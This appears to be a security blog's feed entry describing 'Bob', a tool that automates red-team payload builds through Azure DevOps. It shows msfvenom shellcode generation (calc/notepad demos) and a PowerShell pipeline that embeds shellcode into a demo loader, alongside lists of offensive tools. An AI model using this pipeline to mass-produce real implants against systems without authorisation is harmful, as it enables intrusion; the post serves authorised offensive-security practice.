<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://coffeegist.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://coffeegist.com/" rel="alternate" type="text/html" /><updated>2025-09-26T21:54:30+00:00</updated><id>https://coffeegist.com/feed.xml</id><title type="html">CoffeeGist</title><subtitle>A collection of tips, tricks, tactics, and procedures for hacking, programming, and coffee galore.</subtitle><author><name>Adam Brown</name></author><entry><title type="html">Automation Through Azure DevOps with Bob</title><link href="https://coffeegist.com/security/automation-through-azure-with-bob/" rel="alternate" type="text/html" title="Automation Through Azure DevOps with Bob" /><published>2020-04-04T00:00:00+00:00</published><updated>2020-04-04T00:00:00+00:00</updated><id>https://coffeegist.com/security/automation-through-azure-with-bob</id><content type="html" xml:base="https://coffeegist.com/security/automation-through-azure-with-bob/"><![CDATA[<p>Several months ago, our team moved into the realm of automation through the use of Azure DevOps. I would say that evolution is a necessary cycle that occurs, and with evolution comes increased complexity. As offensive security professionals, this means that as defenses evolve, offense evolves to stay one step ahead, and as offense evolves, it has the potential to become more complex. If you didn’t get a chance to check out my last article, I highly encourage you to give it a quick read <a href="https://coffeegist.com/security/changeling-a-feature-morphing-creature/">here</a>. Today I’m going to share another tool I’ve created to assist in managing the complexity of generating payloads for offensive assessments. Everyone, say hello to Bob!</p>

<h3 id="tldr">TL;DR</h3>

<p>To skip straight to the details on how to use Bob, <a href="#finally-tell-me-about-bob">click here</a>.</p>

<h2 id="the-problem">The Problem</h2>

<p>Not to repeat the issue facing offensive teams, but manually building payloads sucks. I’m not talking about the problem-solving challenge of creating payloads, but compiling and substituting all of your options by hand is tedious and boring. Changeling assists with part of that, but what if swapping out embedded resources isn’t enough to reconfigure your tools? What if you still need to recompile a payload? If you haven’t read up on Azure DevOps, I encourage you to pause and read the introductory posts by <a href="https://blog.xpnsec.com/building-modifying-packing-devops/">@_xpn_</a> and <a href="https://medium.com/@rvrsh3ll/getting-started-with-azuredevops-8bf0bf089bc3">@424f424f</a> before continuing.</p>

<p>Once you are familiar with DevOps, you realize that it can be an incredible tool! However, queuing builds, and retrieving artifacts can be slightly cumbersome, especially if you are trying to move payloads across to a different op box. As Steve mentions in one of the articles above, there’s not a known way (at least to me) of selecting all pipelines and downloading artifacts for all of them. I needed a fast way to modify, build, and retrieve payloads on my assessments without needing to open up a web browser and tweak things, and I wanted these tasks to be repeatable, shareable, and easily retrievable. This is where Bob comes in.</p>

<h2 id="bob-the-builder">Bob the Builder</h2>

<p>Bob is a tool that allows teams to build complex configurations and toolsets based on pre-configured Azure DevOps Pipelines, and then share these configurations with team members so that anyone can pull down a toolset that makes sense for each engagement. Bob can be found <a href="https://github.com/coffeegist/bob-the-builder">on GitHub</a>, but before you run off and start playing with it, let’s walk through its basic features together.</p>

<h3 id="taking-bob-for-a-walk">Taking Bob for a Walk</h3>

<p>In the last post, we showed how Changeling could be used to swap resources on an example project. We will now take that project one step further, by including it in an Azure DevOps pipeline. Bob will use this pipeline to pass in configurations, build multiple versions of our demo for us, and then retrieve the artifacts so that we can use them locally. Our sample project can be found at <a href="https://github.com/coffeegist/changeling-demo">https://github.com/coffeegist/changeling-demo</a>. Let’s get right to it.</p>

<h4 id="preliminary-pipelines">Preliminary Pipelines</h4>

<p>For this walkthrough, we will use our newfound knowledge of Azure DevOps to create a pipeline that builds Changeling, and a pipeline that builds Changeling-Demo. These should be fairly straight forward, as they should simply clone the repos, and build as normal. The real fun will come in on a third pipeline that we will call Demo-Morph. Demo-Morph’s job will be to use Changeling to morph Changeling-Demo in any number of ways we tell it to.</p>

<h4 id="building-demo-morph">Building Demo-Morph</h4>

<p>To start off, we’ll obviously be swapping shellcode out, and we’ll need shellcode to be accessible for our pipeline. I will be placing my shellcode in a public <a href="https://github.com/coffeegist/shellcode-library">shellcode-library</a> repository. In practice, you might make this a private repository where each branch holds shellcode for individual engagements. However, for this demo, all shellcode will be placed on the master branch. We will also need a few different pieces of shellcode for this repository, which we’ll get from <code class="language-plaintext highlighter-rouge">msfvenom</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+[root@coffee-kali: shellcode-library]$ msfvenom --payload windows/x64/exec CMD=calc.exe -a x64 --platform windows -f raw -o calc64.bin
No encoder or badchars specified, outputting raw payload
Payload size: 276 bytes
Saved as: calc64.bin

+[root@coffee-kali: shellcode-library]$ msfvenom --payload windows/x64/exec CMD=notepad.exe -a x64 --platform windows -f raw -o notepad64.bin
No encoder or badchars specified, outputting raw payload
Payload size: 279 bytes
Saved as: notepad64.bin

+[root@coffee-kali: shellcode-library]$ msfvenom --payload windows/exec CMD=notepad.exe -a x86 --platform windows -f raw -o notepad32.bin
No encoder or badchars specified, outputting raw payload
Payload size: 196 bytes
Saved as: notepad32.bin

+[root@coffee-kali: shellcode-library]$ msfvenom --payload windows/exec CMD=calc.exe -a x86 --platform windows -f raw -o calc32.bin
No encoder or badchars specified, outputting raw payload
Payload size: 193 bytes
Saved as: calc32.bin
</code></pre></div></div>

<p>Now that we have our shellcode, it’s time to create our pipeline. The pipeline’s source will be the <code class="language-plaintext highlighter-rouge">shellcode-library</code> which holds the shellcode we want to build into our payload. The first two tasks in our pipeline will be to download the artifacts from the <code class="language-plaintext highlighter-rouge">Changeling</code> and <code class="language-plaintext highlighter-rouge">Changeling-Demo</code> pipelines. It should look something like this:</p>

<figure class="">
  <img src="/assets/images/2020-04-04-automation-through-azure-devops-with-bob/demo-pipeline-artifact-tasks.png" alt="" style="" />
  
    <figcaption>Download Artifacts Tasks
</figcaption>
  
</figure>

<p>Now that we have all of the tools we need, we need a little PowerShell to glue it all together. We will add a PowerShell task to the pipeline with the following PowerShell script that gathers all of the bin files, and runs Changeling for each bin file to produce a new artifact.</p>

<div class="language-posh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$CHANGELING_EXE</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="err">$</span><span class="p">(</span><span class="n">Get-ChildItem</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="err">$</span><span class="p">(</span><span class="n">Agent.TempDirectory</span><span class="p">)</span><span class="n">\changeling\</span><span class="w"> </span><span class="nt">-Recurse</span><span class="w"> </span><span class="nt">-Filter</span><span class="w"> </span><span class="o">*.</span><span class="nf">exe</span><span class="w"> </span><span class="nt">-File</span><span class="p">)</span><span class="o">.</span><span class="nf">FullName</span><span class="w">
</span><span class="nv">$MORPH_EXE</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-ChildItem</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="err">$</span><span class="p">(</span><span class="n">Agent.TempDirectory</span><span class="p">)</span><span class="n">\morph-me\</span><span class="w"> </span><span class="nt">-Recurse</span><span class="w"> </span><span class="nt">-Filter</span><span class="w"> </span><span class="o">*.</span><span class="nf">exe</span><span class="w"> </span><span class="nt">-File</span><span class="w">

</span><span class="n">Get-ChildItem</span><span class="w"> </span><span class="s2">"."</span><span class="w"> </span><span class="nt">-filter</span><span class="w"> </span><span class="o">*.</span><span class="nf">bin</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ForEach-Object</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nv">$morphedName</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"</span><span class="si">$(</span><span class="n">Build.ArtifactStagingDirectory</span><span class="p">)</span><span class="n">\</span><span class="err">$</span><span class="p">(</span><span class="nv">$MORPH_EXE</span><span class="o">.</span><span class="nf">BaseName</span><span class="si">)</span><span class="s2">_</span><span class="si">$(</span><span class="bp">$_</span><span class="o">.</span><span class="nf">BaseName</span><span class="si">)$(</span><span class="nv">$MORPH_EXE</span><span class="o">.</span><span class="nf">Extension</span><span class="si">)</span><span class="s2">"</span><span class="w">

    </span><span class="n">iex</span><span class="w"> </span><span class="p">(</span><span class="s2">"</span><span class="nv">$CHANGELING_EXE</span><span class="s2"> replace -r shellcode.bin -f </span><span class="si">$(</span><span class="bp">$_</span><span class="o">.</span><span class="nf">FullName</span><span class="si">)</span><span class="s2"> -a </span><span class="si">$(</span><span class="nv">$MORPH_EXE</span><span class="o">.</span><span class="nf">FullName</span><span class="si">)</span><span class="s2"> -o </span><span class="nv">$morphedName</span><span class="s2">"</span><span class="p">)</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>That’s pretty fun! Now we have a pipeline that arms our demo project with each of the pieces of shellcode in our repository. However, if you remember, our demo project also has a JSON configuration file. We need to be able to swap that out too. For this we’ll create a new variable on the pipeline to store any number of JSON configurations for our pipeline to build. Make sure to tick the <code class="language-plaintext highlighter-rouge">Settable at queue time</code> box. Here are the values I used.</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">CONFIGURATIONS:</span><span class="w"> </span><span class="p">[{</span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"DefaultConfiguration"</span><span class="p">,</span><span class="w"> </span><span class="nl">"data"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nl">"TARGET_PROCESS"</span><span class="p">:</span><span class="w"> </span><span class="s2">"notepad"</span><span class="p">}</span><span class="w"> </span><span class="p">}]</span><span class="w">
</span></code></pre></div></div>

<p>Notice that the <code class="language-plaintext highlighter-rouge">CONFIGURATIONS</code> variable holds an array of JSON objects. Each JSON object has a name (so we can identify it), and some data which our project will use. Now we can add the use of this variable into our PowerShell task.</p>

<div class="language-posh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># https://www.powershellgallery.com/packages/Dots/0.0.7/Content/Private%5CGet-ClonedObject.ps1</span><span class="w">
</span><span class="kr">function</span><span class="w"> </span><span class="nf">Get-ClonedObject</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="kr">param</span><span class="p">(</span><span class="nv">$DeepCopyObject</span><span class="p">)</span><span class="w">
    </span><span class="nv">$memStream</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">new-object</span><span class="w"> </span><span class="nx">IO.MemoryStream</span><span class="w">
    </span><span class="nv">$formatter</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">new-object</span><span class="w"> </span><span class="nx">Runtime.Serialization.Formatters.Binary.BinaryFormatter</span><span class="w">
    </span><span class="nv">$formatter</span><span class="o">.</span><span class="nf">Serialize</span><span class="p">(</span><span class="nv">$memStream</span><span class="p">,</span><span class="nv">$DeepCopyObject</span><span class="p">)</span><span class="w">
    </span><span class="nv">$memStream</span><span class="o">.</span><span class="nf">Position</span><span class="o">=</span><span class="mi">0</span><span class="w">
    </span><span class="nv">$formatter</span><span class="o">.</span><span class="nf">Deserialize</span><span class="p">(</span><span class="nv">$memStream</span><span class="p">)</span><span class="w">
</span><span class="p">}</span><span class="w">


</span><span class="nv">$CHANGELING_EXE</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="err">$</span><span class="p">(</span><span class="n">Get-ChildItem</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="err">$</span><span class="p">(</span><span class="n">Agent.TempDirectory</span><span class="p">)</span><span class="n">\changeling\</span><span class="w"> </span><span class="nt">-Recurse</span><span class="w"> </span><span class="nt">-Filter</span><span class="w"> </span><span class="o">*.</span><span class="nf">exe</span><span class="w"> </span><span class="nt">-File</span><span class="p">)</span><span class="o">.</span><span class="nf">FullName</span><span class="w">
</span><span class="nv">$MORPH_EXE</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-ChildItem</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="err">$</span><span class="p">(</span><span class="n">Agent.TempDirectory</span><span class="p">)</span><span class="n">\morph-me\</span><span class="w"> </span><span class="nt">-Recurse</span><span class="w"> </span><span class="nt">-Filter</span><span class="w"> </span><span class="o">*.</span><span class="nf">exe</span><span class="w"> </span><span class="nt">-File</span><span class="w">

</span><span class="nv">$configurations</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nv">$</span><span class="nn">env</span><span class="p">:</span><span class="nv">CONFIGURATIONS</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ConvertFrom-Json</span><span class="p">)</span><span class="w">
</span><span class="kr">ForEach</span><span class="w"> </span><span class="p">(</span><span class="nv">$configuration</span><span class="w"> </span><span class="kr">in</span><span class="w"> </span><span class="nv">$configurations</span><span class="p">)</span><span class="w">  </span><span class="p">{</span><span class="w">
    </span><span class="n">Get-ChildItem</span><span class="w"> </span><span class="s2">"."</span><span class="w"> </span><span class="nt">-filter</span><span class="w"> </span><span class="o">*.</span><span class="nf">bin</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ForEach-Object</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nv">$configuration</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="err">$</span><span class="p">(</span><span class="n">Get-ClonedObject</span><span class="w"> </span><span class="nv">$configuration</span><span class="p">)</span><span class="w">
        </span><span class="nv">$morphedName</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"</span><span class="si">$(</span><span class="n">Build.ArtifactStagingDirectory</span><span class="p">)</span><span class="n">\</span><span class="err">$</span><span class="p">(</span><span class="nv">$MORPH_EXE</span><span class="o">.</span><span class="nf">BaseName</span><span class="si">)</span><span class="s2">_</span><span class="si">$(</span><span class="bp">$_</span><span class="o">.</span><span class="nf">BaseName</span><span class="si">)</span><span class="s2">_</span><span class="si">$(</span><span class="nv">$configuration</span><span class="o">.</span><span class="nf">name</span><span class="si">)$(</span><span class="nv">$MORPH_EXE</span><span class="o">.</span><span class="nf">Extension</span><span class="si">)</span><span class="s2">"</span><span class="w">

        </span><span class="nv">$Utf8NoBomEncoding</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">System.Text.UTF8Encoding</span><span class="w"> </span><span class="nv">$False</span><span class="w">            
        </span><span class="p">[</span><span class="n">System.IO.File</span><span class="p">]::</span><span class="n">WriteAllLines</span><span class="p">(</span><span class="s2">"configuration.json"</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="nv">$configuration</span><span class="o">.</span><span class="nf">data</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ConvertTo-Json</span><span class="p">),</span><span class="w"> </span><span class="nv">$Utf8NoBomEncoding</span><span class="p">)</span><span class="w">

        </span><span class="n">iex</span><span class="w"> </span><span class="p">(</span><span class="s2">"</span><span class="nv">$CHANGELING_EXE</span><span class="s2"> replace -r projectConfiguration.json -f configuration.json -a </span><span class="si">$(</span><span class="nv">$MORPH_EXE</span><span class="o">.</span><span class="nf">FullName</span><span class="si">)</span><span class="s2"> -o </span><span class="nv">$morphedName</span><span class="s2">"</span><span class="p">)</span><span class="w">
        </span><span class="n">iex</span><span class="w"> </span><span class="p">(</span><span class="s2">"</span><span class="nv">$CHANGELING_EXE</span><span class="s2"> replace -r shellcode.bin -f </span><span class="si">$(</span><span class="bp">$_</span><span class="o">.</span><span class="nf">FullName</span><span class="si">)</span><span class="s2"> -a </span><span class="nv">$morphedName</span><span class="s2"> -o </span><span class="nv">$morphedName</span><span class="s2">"</span><span class="p">)</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="n">Write-Host</span><span class="w"> </span><span class="s2">"##vso[task.setvariable variable=CONFIGURATIONS;]erased"</span><span class="w">
</span></code></pre></div></div>

<p>Now, our PowerShell loops through each JSON object in the <code class="language-plaintext highlighter-rouge">CONFIGURATIONS</code> variable, and gathers all bin files from our repository, and builds a new tool for each configuration and each piece of shellcode. All that’s left to do is add a task to publish the artifacts found in <code class="language-plaintext highlighter-rouge">$(Build.ArtifactStagingDirectory)</code>, and we will have officially turned one tool into 4 uniquely configured versions with the click of a button. Pretty cool, but what does Bob let us do?</p>

<h3 id="finally-tell-me-about-bob">Finally, Tell Me About Bob</h3>

<p>We can now use Bob to configure, build, and download the artifacts presented by any pipeline in our account, and it’s extremely simple. To start, you’ll need a Personal Access Token for your Azure DevOps account which can be grabbed from <a href="https://dev.azure.com/YOUR_ACCOUNT_NAME/_usersSettings/tokens">https://dev.azure.com/YOUR_ACCOUNT_NAME/_usersSettings/tokens</a>. The access you need will depend on a number of factors, but for the purposes of this demo we will give our access token full permissions. Plug that information into the <code class="language-plaintext highlighter-rouge">bob-config.json</code> file to tell Bob how to access your pipelines, and you’re ready to go!</p>

<h3 id="using-bob-to-build-our-demo">Using Bob to Build Our Demo</h3>

<p>Below is an example of using Bob to configure a blueprint that builds the pipeline we just created.</p>

<figure class="">
  <img src="/assets/images/2020-04-04-automation-through-azure-devops-with-bob/bob-configure-builds.png" alt="" style="" />
  
    <figcaption>Configure Blueprints with Bob
</figcaption>
  
</figure>

<p>The resulting blueprint will look like this:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="w">
    </span><span class="p">{</span><span class="w">
        </span><span class="nl">"__type__"</span><span class="p">:</span><span class="w"> </span><span class="s2">"AzureBuild"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"agent_queue"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Azure Pipelines"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"agent_specification"</span><span class="p">:</span><span class="w"> </span><span class="s2">"vs2017-win2016"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"build_instances"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
            </span><span class="p">{</span><span class="w">
                </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Default"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"queue_time_variables"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"CONFIGURATIONS"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                        </span><span class="p">{</span><span class="w">
                            </span><span class="nl">"data"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                                </span><span class="nl">"TARGET_PROCESS"</span><span class="p">:</span><span class="w"> </span><span class="s2">"notepad"</span><span class="w">
                            </span><span class="p">},</span><span class="w">
                            </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"DefaultConfiguration"</span><span class="w">
                        </span><span class="p">}</span><span class="w">
                    </span><span class="p">]</span><span class="w">
                </span><span class="p">},</span><span class="w">
                </span><span class="nl">"tags"</span><span class="p">:</span><span class="w"> </span><span class="p">[]</span><span class="w">
            </span><span class="p">}</span><span class="w">
        </span><span class="p">],</span><span class="w">
        </span><span class="nl">"definition"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Demo-Morph"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"download_artifacts"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
        </span><span class="nl">"project"</span><span class="p">:</span><span class="w"> </span><span class="s2">"red-team-toolkit"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"source_branch"</span><span class="p">:</span><span class="w"> </span><span class="s2">"master"</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">]</span><span class="w">
</span></code></pre></div></div>

<p>For the most part, this JSON object should be self-explanatory. It shows the project and definition for this build, it states the artifacts from the build will be downloaded, and that it will build from the master branch of the repository. You can also see the <code class="language-plaintext highlighter-rouge">CONFIGURATIONS</code> variable we created earlier, and its default value. The tags field exists so that you can tag your builds for more advanced usage, which we can cover in a later post.</p>

<p>Let’s say we want to build Demo with the <code class="language-plaintext highlighter-rouge">TARGET_PROCESS</code> of <code class="language-plaintext highlighter-rouge">notepad</code>, but we also want to build it with a <code class="language-plaintext highlighter-rouge">TARGET_PROCESS</code> of <code class="language-plaintext highlighter-rouge">calc</code>. Do we need to run through Bob again? Nope, just add a new configuration item to the current blueprint:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">...snip...</span><span class="w">

        </span><span class="nl">"CONFIGURATIONS"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
            </span><span class="p">{</span><span class="w">
                </span><span class="nl">"data"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"TARGET_PROCESS"</span><span class="p">:</span><span class="w"> </span><span class="s2">"notepad"</span><span class="w">
                </span><span class="p">},</span><span class="w">
                </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"NotepadConfiguration"</span><span class="w">
            </span><span class="p">},</span><span class="w">
            </span><span class="p">{</span><span class="w">
                </span><span class="nl">"data"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"TARGET_PROCESS"</span><span class="p">:</span><span class="w"> </span><span class="s2">"calc"</span><span class="w">
                </span><span class="p">},</span><span class="w">
                </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"CalcConfiguration"</span><span class="w">
            </span><span class="p">}</span><span class="w">
        </span><span class="p">]</span><span class="w">

</span><span class="err">...snip...</span><span class="w">
</span></code></pre></div></div>

<p>Ok, that’s pretty cool! The more elements you place in the <code class="language-plaintext highlighter-rouge">CONFIGURATIONS</code> array here, the more loops the PowerShell task will do, and the more payloads you’ll generate. What if you want to be able to distinguish between these builds later? In that case, you can split them into different builds on Azure DevOps by adding to the <code class="language-plaintext highlighter-rouge">build_instances</code> item in the blueprint, and you can use the <code class="language-plaintext highlighter-rouge">tags</code> item to tag them with labels for easy reference later.</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="w">
    </span><span class="p">{</span><span class="w">
        </span><span class="nl">"__type__"</span><span class="p">:</span><span class="w"> </span><span class="s2">"AzureBuild"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"agent_queue"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Azure Pipelines"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"agent_specification"</span><span class="p">:</span><span class="w"> </span><span class="s2">"vs2017-win2016"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"build_instances"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
            </span><span class="p">{</span><span class="w">
                </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"NotepadInstance"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"queue_time_variables"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"CONFIGURATIONS"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                        </span><span class="p">{</span><span class="w">
                            </span><span class="nl">"data"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                                </span><span class="nl">"TARGET_PROCESS"</span><span class="p">:</span><span class="w"> </span><span class="s2">"notepad"</span><span class="w">
                            </span><span class="p">},</span><span class="w">
                            </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"NotepadConfiguration"</span><span class="w">
                        </span><span class="p">}</span><span class="w">
                    </span><span class="p">]</span><span class="w">
                </span><span class="p">},</span><span class="w">
                </span><span class="nl">"tags"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"notepad"</span><span class="p">]</span><span class="w">
            </span><span class="p">},</span><span class="w">
            </span><span class="p">{</span><span class="w">
                </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"CalcInstance"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"queue_time_variables"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"CONFIGURATIONS"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                        </span><span class="p">{</span><span class="w">
                            </span><span class="nl">"data"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                                </span><span class="nl">"TARGET_PROCESS"</span><span class="p">:</span><span class="w"> </span><span class="s2">"calc"</span><span class="w">
                            </span><span class="p">},</span><span class="w">
                            </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"CalcConfiguration"</span><span class="w">
                        </span><span class="p">}</span><span class="w">
                    </span><span class="p">]</span><span class="w">
                </span><span class="p">},</span><span class="w">
                </span><span class="nl">"tags"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"calc"</span><span class="p">]</span><span class="w">
            </span><span class="p">}</span><span class="w">
        </span><span class="p">],</span><span class="w">
        </span><span class="nl">"definition"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Demo-Morph"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"download_artifacts"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
        </span><span class="nl">"project"</span><span class="p">:</span><span class="w"> </span><span class="s2">"red-team-toolkit"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"source_branch"</span><span class="p">:</span><span class="w"> </span><span class="s2">"master"</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">]</span><span class="w">
</span></code></pre></div></div>

<p>In the above case, you are actually queueing two separate builds in Azure DevOps, each of which will be tagged appropriately for later consumption!</p>

<p>Now, we sit back, and let bob build!</p>

<figure class="">
  <img src="/assets/images/2020-04-04-automation-through-azure-devops-with-bob/bob-run-builds.png" alt="" style="" />
  
    <figcaption>Run Blueprints with Bob
</figcaption>
  
</figure>

<h3 id="what-else-can-bob-do">What Else Can Bob Do?</h3>

<p>Bob can also be used to configure tool deployments from DevOps through the use of the <code class="language-plaintext highlighter-rouge">Download</code> action. Let’s look at how to configure those:</p>

<figure class="">
  <img src="/assets/images/2020-04-04-automation-through-azure-devops-with-bob/bob-configure-downloads.png" alt="" style="" />
  
    <figcaption>Configure Downloads with Bob
</figcaption>
  
</figure>

<p>As you can see above, we were able to configure a blueprint to download all of the tools we want from Azure DevOps without having to open a browser! This comes in handy when starting a pentest or red team exercise to maximize time available for items that require more focus like developing convincing phishing pretexts..</p>

<p>This generates a blueprint file that looks like the following:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="w">
    </span><span class="p">{</span><span class="w">
        </span><span class="nl">"__type__"</span><span class="p">:</span><span class="w"> </span><span class="s2">"AzureDownload"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"definition"</span><span class="p">:</span><span class="w"> </span><span class="s2">"GhostPack-Seatbelt"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"project"</span><span class="p">:</span><span class="w"> </span><span class="s2">"red-team-toolkit"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"source_branch"</span><span class="p">:</span><span class="w"> </span><span class="s2">"master"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"tags"</span><span class="p">:</span><span class="w"> </span><span class="p">[]</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="p">{</span><span class="w">
        </span><span class="nl">"__type__"</span><span class="p">:</span><span class="w"> </span><span class="s2">"AzureDownload"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"definition"</span><span class="p">:</span><span class="w"> </span><span class="s2">"GhostPack-SharpUp"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"project"</span><span class="p">:</span><span class="w"> </span><span class="s2">"red-team-toolkit"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"source_branch"</span><span class="p">:</span><span class="w"> </span><span class="s2">"master"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"tags"</span><span class="p">:</span><span class="w"> </span><span class="p">[]</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="p">{</span><span class="w">
        </span><span class="nl">"__type__"</span><span class="p">:</span><span class="w"> </span><span class="s2">"AzureDownload"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"definition"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Changeling"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"project"</span><span class="p">:</span><span class="w"> </span><span class="s2">"red-team-toolkit"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"source_branch"</span><span class="p">:</span><span class="w"> </span><span class="s2">"master"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"tags"</span><span class="p">:</span><span class="w"> </span><span class="p">[]</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="p">{</span><span class="w">
        </span><span class="nl">"__type__"</span><span class="p">:</span><span class="w"> </span><span class="s2">"AzureDownload"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"definition"</span><span class="p">:</span><span class="w"> </span><span class="s2">"GhostPack-Rubeus"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"project"</span><span class="p">:</span><span class="w"> </span><span class="s2">"red-team-toolkit"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"source_branch"</span><span class="p">:</span><span class="w"> </span><span class="s2">"master"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"tags"</span><span class="p">:</span><span class="w"> </span><span class="p">[]</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="p">{</span><span class="w">
        </span><span class="nl">"__type__"</span><span class="p">:</span><span class="w"> </span><span class="s2">"AzureDownload"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"definition"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Demo-Morph"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"project"</span><span class="p">:</span><span class="w"> </span><span class="s2">"red-team-toolkit"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"source_branch"</span><span class="p">:</span><span class="w"> </span><span class="s2">"master"</span><span class="p">,</span><span class="w">
